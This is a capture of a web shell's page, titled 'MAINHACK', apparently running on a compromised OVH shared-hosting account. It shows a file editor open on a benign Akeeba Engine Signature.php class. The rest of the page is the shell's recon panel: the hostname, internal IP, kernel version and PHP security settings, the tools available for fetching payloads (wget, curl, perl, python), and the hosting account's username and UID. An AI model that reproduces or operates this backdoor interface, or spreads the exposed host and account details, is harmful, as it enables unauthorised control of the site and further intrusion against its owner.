[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Signature.php
<?php /** * Akeeba Engine * * @package akeebaengine * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Akeeba\S3; // Protection against direct access defined('AKEEBAENGINE') || die(); /** * Base class for request signing objects. */ abstract class Signature { /** * The request we will be signing * * @var Request */ protected $request = null; /** * Signature constructor. * * @param Request $request The request we will be signing */ public function __construct(Request $request) { $this->request = $request; } /** * Get a signature object for the request * * @param Request $request The request which needs signing * @param string $method The signature method, "v2" or "v4" * * @return Signature */ public static function getSignatureObject(Request $request, string $method = 'v2'): self { $className = __NAMESPACE__ . '\\Signature\\' . ucfirst($method); return new $className($request); } /** * Returns the authorization header for the request * * @return string */ abstract public function getAuthorizationHeader(): string; /** * Pre-process the request headers before we convert them to cURL-compatible format. Used by signature engines to * add custom headers, e.g. x-amz-content-sha256 * * @param array $headers The associative array of headers to process * @param array $amzHeaders The associative array of amz-* headers to process * * @return void */ abstract public function preProcessHeaders(array &$headers, array &$amzHeaders): void; /** * Get a pre-signed URL for the request. Typically used to pre-sign GET requests to objects, i.e. give shareable * pre-authorized URLs for downloading files from S3. * * @param integer|null $lifetime Lifetime in seconds. NULL for default lifetime. * @param bool $https Use HTTPS ($hostBucket should be false for SSL verification)? * * @return string The authenticated URL, complete with signature */ abstract public function getAuthenticatedURL(?int $lifetime = null, bool $https = false): string; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697